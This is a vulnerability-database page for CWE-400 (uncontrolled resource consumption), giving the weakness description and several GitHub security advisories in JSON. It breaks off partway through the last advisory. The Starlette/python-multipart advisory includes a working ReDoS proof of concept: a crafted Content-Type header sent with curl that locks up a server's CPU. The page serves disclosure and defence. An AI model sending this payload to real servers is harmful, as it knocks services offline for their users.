CWE-400
Weakness DiscouragedUncontrolled Resource Consumption
Abstraction: Class · Status: Draft
The product does not properly control the allocation and maintenance of a limited resource.
Dimensions
- Behavior-Property: Uncontrolled
- Behavior-Type: Consumption
- Resource-Type: Resource
Mapping guidance
CWE-400 is intended for incorrect behaviors in which the product is expected to track and restrict how many resources it consumes, but CWE-400 is often misused because it is conflated with the "technical impact" of vulnerabilities in which resource consumption occurs. It is sometimes used for low-information vulnerability reports. It is a level-1 Class (i.e., a child of a Pillar).
Closely analyze the specific mistake that is causing resource consumption, and perform a CWE mapping for that mistake. Consider children/descendants.
Modes of introduction
The product could be operated in a system or environment with lower resource limits than expected, which might make it easier for attackers to consume all available resources.
The product could be configured with lower resource limits than expected, which might make it easier for attackers to consume all available resources.
The designer might not consider how to handle and throttle excessive resource requests, which typically requires careful planning to handle more gracefully than a crash or exit.
There are at least three distinct scenarios that can commonly lead to resource exhaustion:
Lack of throttling for the number of allocated resources.
Losing all references to a resource before reaching the shutdown stage.
Not closing/returning a resource after processing.
Resource exhaustion problems often occur due to an incorrect implementation of the following situations:
Error conditions and other exceptional circumstances.
Confusion over which part of the program is responsible for releasing the resource.
Detection methods
Automated Static Analysis
Automated static analysis typically has limited utility in recognizing resource exhaustion problems, except for program-independent system resources such as files, sockets, and processes. For system resources, automated static analysis may be able to detect circumstances in which resources are not released after they have expired. Automated analysis of configuration files may be able to detect settings that do not specify a maximum value.
Automated static analysis tools will not be appropriate for detecting exhaustion of custom resources, such as an intended security policy in which a bulletin board user is only allowed to make a limited number of posts per day.
Effectiveness: Limited
Automated Dynamic Analysis
Certain automated dynamic analysis techniques may be effective in spotting resource exhaustion problems, especially with resources such as processes, memory, and connections. The technique may involve generating a large number of requests to the product within a short time frame.
Effectiveness: Moderate
Fuzzing
While fuzzing is typically geared toward finding low-level implementation bugs, it can inadvertently find resource exhaustion problems. This can occur when the fuzzer generates a large number of test cases but does not restart the targeted product in between test cases. If an individual test case produces a crash, but it does not do so reliably, then an inability to handle resource exhaustion may be the cause.
Effectiveness: Opportunistic
Notes
Theoretical
Vulnerability theory is largely about how behaviors and resources interact. "Resource exhaustion" can be regarded as either a consequence or an attack, depending on the perspective. This entry is an attempt to reflect the underlying weaknesses that enable these attacks (or consequences) to take place.
Other
Database queries that take a long time to process are good DoS targets. An attacker would have to write a few lines of code to generate enough traffic to exceed the site's ability to keep up. This would effectively prevent authorized users from using the site at all. Resources can be exploited simply by ensuring that the target machine must do much more work and consume more resources in order to service a request than the attacker must do to initiate a request.
A prime example of this can be found in old switches that were vulnerable to "macof" attacks (so named for a tool developed by Dugsong). These attacks flooded a switch with random IP and MAC address combinations, therefore exhausting the switch's cache, which held the information of which port corresponded to which MAC addresses. Once this cache was exhausted, the switch would fail in an insecure way and would begin to act simply as a hub, broadcasting all traffic on all ports and allowing for basic sniffing attacks.
Limited resources include memory, file system storage, database connection pool entries, CPU, and others.
Content history
Suggested mappings to ISA/IEC 62443.
Suggested mappings to ISA/IEC 62443.
Provided diagram to improve CWE usability.
updated Time_of_Introduction
Suggested OWASP Top Ten 2004 mapping
updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
updated Description, Name, Relationships
updated Description
updated Name, Relationships
updated Description, Relationships
updated Relationships
updated Common_Consequences, Demonstrative_Examples, Detection_Factors, Likelihood_of_Exploit, Observed_Examples, Other_Notes, Potential_Mitigations, References
updated Detection_Factors, Potential_Mitigations, References, Taxonomy_Mappings
updated Related_Attack_Patterns
updated Description
updated Demonstrative_Examples
updated Common_Consequences, Relationships, Taxonomy_Mappings
updated Demonstrative_Examples, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
updated Relationships
updated Relationships, Taxonomy_Mappings
updated Related_Attack_Patterns, Relationships
updated Relationships
updated Applicable_Platforms, Demonstrative_Examples, Likelihood_of_Exploit, Potential_Mitigations, References, Relationships
updated References, Type
updated Alternate_Terms, Description, Name, Relationships, Taxonomy_Mappings, Theoretical_Notes
updated Related_Attack_Patterns, Relationships
updated Description, Relationships
updated Description, References, Related_Attack_Patterns, Relationships
updated Description, Maintenance_Notes
updated Relationships
updated Related_Attack_Patterns
updated Observed_Examples, Relationships
updated Observed_Examples, Relationships
updated Common_Consequences, Description, Detection_Factors, Maintenance_Notes, Related_Attack_Patterns, Taxonomy_Mappings
updated Demonstrative_Examples, Relationships, Taxonomy_Mappings
updated Mapping_Notes, Relationships
updated Relationships
updated Common_Consequences, Description, Diagram, Modes_of_Introduction, Other_Notes, Time_of_Introduction
updated Observed_Examples, References
updated Applicable_Platforms, Maintenance_Notes, Weakness_Ordinalities
updated Applicable_Platforms, Maintenance_Notes, Mapping_Notes, Other_Notes
updated Applicable_Platforms, Dimensions, References, Relationships, Taxonomy_Mappings
7207 vulnerabilities reference this CWE, most recent first.
GHSA-932H-8MCC-V5M6
Vulnerability from github – Published: 2022-05-14 03:18 – Updated: 2022-05-14 03:18Cloud Foundry Garden-runC, versions prior to 1.13.0, does not correctly enforce disc quotas for Docker image layers. A remote authenticated user may push an app with a malicious Docker image that will consume more space on a Diego cell than allocated in their quota, potentially causing a DoS against the cell.
{
"affected": [],
"aliases": [
"CVE-2018-1277"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-04-30T20:29:00Z",
"severity": "MODERATE"
},
"details": "Cloud Foundry Garden-runC, versions prior to 1.13.0, does not correctly enforce disc quotas for Docker image layers. A remote authenticated user may push an app with a malicious Docker image that will consume more space on a Diego cell than allocated in their quota, potentially causing a DoS against the cell.",
"id": "GHSA-932h-8mcc-v5m6",
"modified": "2022-05-14T03:18:32Z",
"published": "2022-05-14T03:18:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1277"
},
{
"type": "WEB",
"url": "https://www.cloudfoundry.org/blog/cve-2018-1277"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-9348-VPWC-CH78
Vulnerability from github – Published: 2022-06-25 00:01 – Updated: 2022-06-25 00:01In CODESYS Gateway Server V2 an insufficient check for the activity of TCP client connections allows an unauthenticated attacker to consume all available TCP connections and prevent legitimate users or clients from establishing a new connection to the CODESYS Gateway Server V2. Existing connections are not affected and therefore remain intact.
{
"affected": [],
"aliases": [
"CVE-2022-31803"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-06-24T08:15:00Z",
"severity": "MODERATE"
},
"details": "In CODESYS Gateway Server V2 an insufficient check for the activity of TCP client connections allows an unauthenticated attacker to consume all available TCP connections and prevent legitimate users or clients from establishing a new connection to the CODESYS Gateway Server V2. Existing connections are not affected and therefore remain intact.",
"id": "GHSA-9348-vpwc-ch78",
"modified": "2022-06-25T00:01:01Z",
"published": "2022-06-25T00:01:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31803"
},
{
"type": "WEB",
"url": "https://customers.codesys.com/index.php?eID=dumpFile\u0026t=f\u0026f=17141\u0026token=17867e35cfd30c77ba0137f9a17b3a557a4b7b66\u0026download="
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-935V-FG4C-F9FR
Vulnerability from github – Published: 2022-05-13 01:25 – Updated: 2022-05-13 01:25Knot DNS before 2.3.0 allows remote DNS servers to cause a denial of service (memory exhaustion and slave server crash) via a large zone transfer for (1) DDNS, (2) AXFR, or (3) IXFR.
{
"affected": [],
"aliases": [
"CVE-2016-6171"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-02-09T15:59:00Z",
"severity": "HIGH"
},
"details": "Knot DNS before 2.3.0 allows remote DNS servers to cause a denial of service (memory exhaustion and slave server crash) via a large zone transfer for (1) DDNS, (2) AXFR, or (3) IXFR.",
"id": "GHSA-935v-fg4c-f9fr",
"modified": "2022-05-13T01:25:48Z",
"published": "2022-05-13T01:25:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-6171"
},
{
"type": "WEB",
"url": "https://github.com/sischkg/xfer-limit/blob/master/README.md"
},
{
"type": "WEB",
"url": "https://gitlab.labs.nic.cz/labs/knot/blob/c546a70563ef4c7badb7cb5bdf6d1ba8e7adae82/NEWS"
},
{
"type": "WEB",
"url": "https://gitlab.labs.nic.cz/labs/knot/issues/464"
},
{
"type": "WEB",
"url": "https://lists.dns-oarc.net/pipermail/dns-operations/2016-July/015058.html"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2016/07/06/3"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2016/07/06/4"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/91678"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-9398-5GHF-7PR6
Vulnerability from github – Published: 2022-10-31 18:44 – Updated: 2022-10-31 18:44Prior to version 0.4.2, conduit-hyper did not check any limit on a request's length before calling hyper::body::to_bytes. An attacker could send a malicious request with an abnormally large Content-Length, which could lead to a panic if memory allocation failed for that request.
In version 0.4.2, conduit-hyper sets an internal limit of 128 MiB per request, otherwise returning status 400 ("Bad Request").
This crate is part of the implementation of Rust's crates.io, but that service is not affected due to its existing cloud infrastructure, which already drops such malicious requests. Even with the new limit in place, conduit-hyper is not recommended for production use, nor to directly serve the public Internet.
The vulnerability was discovered by Ori Hollander from the JFrog Security Research team.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "conduit-hyper"
},
"ranges": [
{
"events": [
{
"introduced": "0.2.0-alpha.3"
},
{
"fixed": "0.4.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-39294"
],
"database_specific": {
"cwe_ids": [
"CWE-1284",
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2022-10-31T18:44:47Z",
"nvd_published_at": "2022-10-31T19:15:00Z",
"severity": "HIGH"
},
"details": "Prior to version 0.4.2, `conduit-hyper` did not check any limit on a request\u0027s length before calling [`hyper::body::to_bytes`](https://docs.rs/hyper/latest/hyper/body/fn.to_bytes.html). An attacker could send a malicious request with an abnormally large `Content-Length`, which could lead to a panic if memory allocation failed for that request.\n\nIn version 0.4.2, `conduit-hyper` sets an internal limit of 128 MiB per request, otherwise returning status 400 (\"Bad Request\").\n\nThis crate is part of the implementation of Rust\u0027s [crates.io](https://crates.io/), but that service is not affected due to its existing cloud infrastructure, which already drops such malicious requests. Even with the new limit in place, `conduit-hyper` is not recommended for production use, nor to directly serve the public Internet.\n\nThe vulnerability was discovered by Ori Hollander from the JFrog Security Research team.",
"id": "GHSA-9398-5ghf-7pr6",
"modified": "2022-10-31T18:44:47Z",
"published": "2022-10-31T18:44:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/conduit-rust/conduit-hyper/security/advisories/GHSA-9398-5ghf-7pr6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-39294"
},
{
"type": "WEB",
"url": "https://github.com/conduit-rust/conduit-hyper/commit/4d225a53206505d39438ec6694e15f49c038baff"
},
{
"type": "PACKAGE",
"url": "https://github.com/conduit-rust/conduit-hyper"
},
{
"type": "WEB",
"url": "https://rustsec.org/advisories/RUSTSEC-2022-0066.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "conduit-hyper vulnerable to Denial of Service from unchecked request length"
}
GHSA-93GM-QMQ6-W238
Vulnerability from github – Published: 2024-02-05 17:01 – Updated: 2024-02-16 23:37Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-2jv5-9r88-3w3p. This link is maintained to preserve external references.
Original Description
Summary
When using form data, python-multipart uses a Regular Expression to parse the HTTP Content-Type header, including options.
An attacker could send a custom-made Content-Type option that is very difficult for the RegEx to process, consuming CPU resources and stalling indefinitely (minutes or more) while holding the main event loop. This means that process can't handle any more requests.
This can create a ReDoS (Regular expression Denial of Service): https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS
This only applies when the app uses form data, parsed with python-multipart.
Details
A regular HTTP Content-Type header could look like:
Content-Type: text/html; charset=utf-8
python-multipart parses the option with this RegEx: https://github.com/andrew-d/python-multipart/blob/d3d16dae4b061c34fe9d3c9081d9800c49fc1f7a/multipart/multipart.py#L72-L74
A custom option could be made and sent to the server to break it with:
Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
PoC
Create a Starlette app that uses form data. To reproduce it it's not even necessary to create a Starlette app, just using the Request is enough:
# main.py
from starlette.requests import Request
from starlette.responses import JSONResponse
async def app(scope, receive, send):
assert scope["type"] == "http"
request = Request(scope, receive)
data = await request.form()
response_data = {}
for key in data:
print(key, data.getlist(key))
response_data[key] = data.getlist(key)
response = JSONResponse(response_data)
await response(scope, receive, send)
Then start it with:
$ uvicorn main:app
INFO: Started server process [50601]
INFO: Waiting for application startup.
INFO: ASGI 'lifespan' protocol appears unsupported.
INFO: Application startup complete.
INFO: Uvicorn running on http://127.0.0.1:8000 (Press CTRL+C to quit)
Then send the attacking request with:
$ curl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8000/'
Stopping it
Because that holds the main loop consuming the CPU non-stop, it's not possible to simply kill Uvicorn with Ctrl+C as it can't handle the signal.
To stop it, first check the process ID running Uvicorn:
$ ps -fA | grep uvicorn
501 59461 24785 0 4:28PM ttys004 0:00.13 /Users/user/code/starlette/env3.10/bin/python /Users/user/code/starlette/env3.10/bin/uvicorn redos_starlette:app
501 59466 99935 0 4:28PM ttys010 0:00.00 grep uvicorn
In this case, the process ID was 59461, then you can kill it (forcefully, with -9) with:
$ kill -9 59461
Impact
It's a ReDoS, (Regular expression Denial of Service), it only applies to those reading form data, using python-multipart. This way it also affects other libraries using Starlette, like FastAPI.
Original Report
This was originally reported to FastAPI as an email to security@tiangolo.com, sent via https://huntr.com/, the original reporter is Marcello, https://github.com/byt3bl33d3r
Original report to FastAPI Hey Tiangolo! My name's Marcello and I work on the ProtectAI/Huntr Threat Research team, a few months ago we got a report (from @nicecatch2000) of a ReDoS affecting another very popular Python web framework. After some internal research, I found that FastAPI is vulnerable to the same ReDoS under certain conditions (only when it parses Form data not JSON). Here are the details: I'm using the latest version of FastAPI (0.109.0) and the following code:from typing import Annotated
from fastapi.responses import HTMLResponse
from fastapi import FastAPI,Form
from pydantic import BaseModel
class Item(BaseModel):
username: str
app = FastAPI()
@app.get("/", response_class=HTMLResponse)
async def index():
return HTMLResponse("Test", status_code=200)
@app.post("/submit/")
async def submit(username: Annotated[str, Form()]):
return {"username": username}
@app.post("/submit_json/")
async def submit_json(item: Item):
return {"username": item.username}
I'm running the above with uvicorn with the following command:
uvicorn server:app
Then run the following cUrl command:
curl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8000/submit/'
You'll see the server locks up, is unable to serve anymore requests and one CPU core is pegged to 100%
You can even start uvicorn with multiple workers with the --workers 4 argument and as long as you send (workers + 1) requests you'll completely DoS the FastApi server.
If you try submitting Json to the /submit_json endpoint with the malicious Content-Type header you'll see it isn't vulnerable. So this only affects FastAPI when it parses Form data.
Cheers
#### Impact
An attacker is able to cause a DoS on a FastApi server via a malicious Content-Type header if it parses Form data.
#### Occurrences
[params.py L586](https://github.com/tiangolo/fastapi/blob/d74b3b25659b42233a669f032529880de8bd6c2d/fastapi/params.py#L586)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.36.1"
},
"package": {
"ecosystem": "PyPI",
"name": "starlette"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.36.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2024-02-05T17:01:19Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-2jv5-9r88-3w3p. This link is maintained to preserve external references.\n\n## Original Description\n\n### Summary\n\nWhen using form data, `python-multipart` uses a Regular Expression to parse the HTTP `Content-Type` header, including options.\n\nAn attacker could send a custom-made `Content-Type` option that is very difficult for the RegEx to process, consuming CPU resources and stalling indefinitely (minutes or more) while holding the main event loop. This means that process can\u0027t handle any more requests.\n\nThis can create a ReDoS (Regular expression Denial of Service): https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS\n\nThis only applies when the app uses form data, parsed with `python-multipart`.\n\n### Details\n\nA regular HTTP `Content-Type` header could look like:\n\n```\nContent-Type: text/html; charset=utf-8\n```\n\n`python-multipart` parses the option with this RegEx: https://github.com/andrew-d/python-multipart/blob/d3d16dae4b061c34fe9d3c9081d9800c49fc1f7a/multipart/multipart.py#L72-L74\n\nA custom option could be made and sent to the server to break it with:\n\n```\nContent-Type: application/x-www-form-urlencoded; !=\\\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\n```\n\n### PoC\n\nCreate a Starlette app that uses form data. To reproduce it it\u0027s not even necessary to create a Starlette app, just using the `Request` is enough:\n\n```Python\n# main.py\nfrom starlette.requests import Request\nfrom starlette.responses import JSONResponse\n\n\nasync def app(scope, receive, send):\n assert scope[\"type\"] == \"http\"\n request = Request(scope, receive)\n data = await request.form()\n response_data = {}\n for key in data:\n print(key, data.getlist(key))\n response_data[key] = data.getlist(key)\n response = JSONResponse(response_data)\n await response(scope, receive, send)\n```\n\nThen start it with:\n\n```console\n$ uvicorn main:app\n\nINFO: Started server process [50601]\nINFO: Waiting for application startup.\nINFO: ASGI \u0027lifespan\u0027 protocol appears unsupported.\nINFO: Application startup complete.\nINFO: Uvicorn running on http://127.0.0.1:8000 (Press CTRL+C to quit)\n```\n\nThen send the attacking request with:\n\n```console\n$ curl -v -X \u0027POST\u0027 -H $\u0027Content-Type: application/x-www-form-urlencoded; !=\\\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\u0027 --data-binary \u0027input=1\u0027 \u0027http://localhost:8000/\u0027\n```\n\n#### Stopping it\n\nBecause that holds the main loop consuming the CPU non-stop, it\u0027s not possible to simply kill Uvicorn with `Ctrl+C` as it can\u0027t handle the signal.\n\nTo stop it, first check the process ID running Uvicorn:\n\n```console\n$ ps -fA | grep uvicorn\n\n 501 59461 24785 0 4:28PM ttys004 0:00.13 /Users/user/code/starlette/env3.10/bin/python /Users/user/code/starlette/env3.10/bin/uvicorn redos_starlette:app\n 501 59466 99935 0 4:28PM ttys010 0:00.00 grep uvicorn\n```\n\nIn this case, the process ID was `59461`, then you can kill it (forcefully, with `-9`) with:\n\n```console\n$ kill -9 59461\n```\n\n### Impact\n\nIt\u0027s a ReDoS, (Regular expression Denial of Service), it only applies to those reading form data, using `python-multipart`. This way it also affects other libraries using Starlette, like FastAPI.\n\n### Original Report\n\nThis was originally reported to FastAPI as an email to security@tiangolo.com, sent via https://huntr.com/, the original reporter is Marcello, https://github.com/byt3bl33d3r\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal report to FastAPI\u003c/summary\u003e\n\nHey Tiangolo!\n\nMy name\u0027s Marcello and I work on the ProtectAI/Huntr Threat Research team, a few months ago we got a report (from @nicecatch2000) of a ReDoS affecting another very popular Python web framework. After some internal research, I found that FastAPI is vulnerable to the same ReDoS under certain conditions (only when it parses Form data not JSON).\n\nHere are the details: I\u0027m using the latest version of FastAPI (0.109.0) and the following code:\n\n```Python\nfrom typing import Annotated\nfrom fastapi.responses import HTMLResponse\nfrom fastapi import FastAPI,Form\nfrom pydantic import BaseModel\n\nclass Item(BaseModel):\n username: str\n\napp = FastAPI()\n\n@app.get(\"/\", response_class=HTMLResponse)\nasync def index():\n return HTMLResponse(\"Test\", status_code=200)\n\n@app.post(\"/submit/\")\nasync def submit(username: Annotated[str, Form()]):\n return {\"username\": username}\n\n@app.post(\"/submit_json/\")\nasync def submit_json(item: Item):\n return {\"username\": item.username}\n```\n\nI\u0027m running the above with uvicorn with the following command:\n\n```console\nuvicorn server:app\n```\n\nThen run the following cUrl command:\n\n```\ncurl -v -X \u0027POST\u0027 -H $\u0027Content-Type: application/x-www-form-urlencoded; !=\\\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\u0027 --data-binary \u0027input=1\u0027 \u0027http://localhost:8000/submit/\u0027\n```\n\nYou\u0027ll see the server locks up, is unable to serve anymore requests and one CPU core is pegged to 100%\n\nYou can even start uvicorn with multiple workers with the --workers 4 argument and as long as you send (workers + 1) requests you\u0027ll completely DoS the FastApi server.\n\nIf you try submitting Json to the /submit_json endpoint with the malicious Content-Type header you\u0027ll see it isn\u0027t vulnerable. So this only affects FastAPI when it parses Form data.\n\nCheers\n\n#### Impact\n\nAn attacker is able to cause a DoS on a FastApi server via a malicious Content-Type header if it parses Form data.\n\n#### Occurrences\n\n[params.py L586](https://github.com/tiangolo/fastapi/blob/d74b3b25659b42233a669f032529880de8bd6c2d/fastapi/params.py#L586)\n\n\u003c/details\u003e",
"id": "GHSA-93gm-qmq6-w238",
"modified": "2024-02-16T23:37:24Z",
"published": "2024-02-05T17:01:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/encode/starlette/security/advisories/GHSA-93gm-qmq6-w238"
},
{
"type": "WEB",
"url": "https://github.com/encode/starlette/commit/13e5c26a27f4903924624736abd6131b2da80cc5"
},
{
"type": "WEB",
"url": "https://github.com/andrew-d/python-multipart/blob/d3d16dae4b061c34fe9d3c9081d9800c49fc1f7a/multipart/multipart.py#L72-L74"
},
{
"type": "PACKAGE",
"url": "https://github.com/encode/starlette"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Duplicate Advisory: Starlette Content-Type Header ReDoS",
"withdrawn": "2024-02-16T23:37:24Z"
}
GHSA-93M7-7FQ5-8V43
Vulnerability from github – Published: 2023-07-18 21:30 – Updated: 2024-04-04 06:14ChakraCore branch master cbb9b was discovered to contain a segmentation violation via the function BackwardPass::IsEmptyLoopAfterMemOp().
{
"affected": [],
"aliases": [
"CVE-2023-37143"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-07-18T20:15:09Z",
"severity": "MODERATE"
},
"details": "ChakraCore branch master cbb9b was discovered to contain a segmentation violation via the function BackwardPass::IsEmptyLoopAfterMemOp().",
"id": "GHSA-93m7-7fq5-8v43",
"modified": "2024-04-04T06:14:44Z",
"published": "2023-07-18T21:30:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-37143"
},
{
"type": "WEB",
"url": "https://github.com/chakra-core/ChakraCore/issues/6888"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-93P3-5R25-4P75
Vulnerability from github – Published: 2022-05-24 16:53 – Updated: 2025-01-14 21:31Some HTTP/2 implementations are vulnerable to a flood of empty frames, potentially leading to a denial of service. The attacker sends a stream of frames with an empty payload and without the end-of-stream flag. These frames can be DATA, HEADERS, CONTINUATION and/or PUSH_PROMISE. The peer spends time processing each frame disproportionate to attack bandwidth. This can consume excess CPU.
{
"affected": [],
"aliases": [
"CVE-2019-9518"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-08-13T21:15:00Z",
"severity": "HIGH"
},
"details": "Some HTTP/2 implementations are vulnerable to a flood of empty frames, potentially leading to a denial of service. The attacker sends a stream of frames with an empty payload and without the end-of-stream flag. These frames can be DATA, HEADERS, CONTINUATION and/or PUSH_PROMISE. The peer spends time processing each frame disproportionate to attack bandwidth. This can consume excess CPU.",
"id": "GHSA-93p3-5r25-4p75",
"modified": "2025-01-14T21:31:41Z",
"published": "2022-05-24T16:53:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-9518"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r99a625fb17032646d96cd23dec49603ff630e9318e44a686d63046bc%40%3Ccommits.cassandra.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r99a625fb17032646d96cd23dec49603ff630e9318e44a686d63046bc@%3Ccommits.cassandra.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rd31230d01fa6aad18bdadc0720acd1747e53690bd35f73a48e7a9b75%40%3Ccommits.cassandra.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rd31230d01fa6aad18bdadc0720acd1747e53690bd35f73a48e7a9b75@%3Ccommits.cassandra.apache.org%3E"
},
{
"type": "WEB",
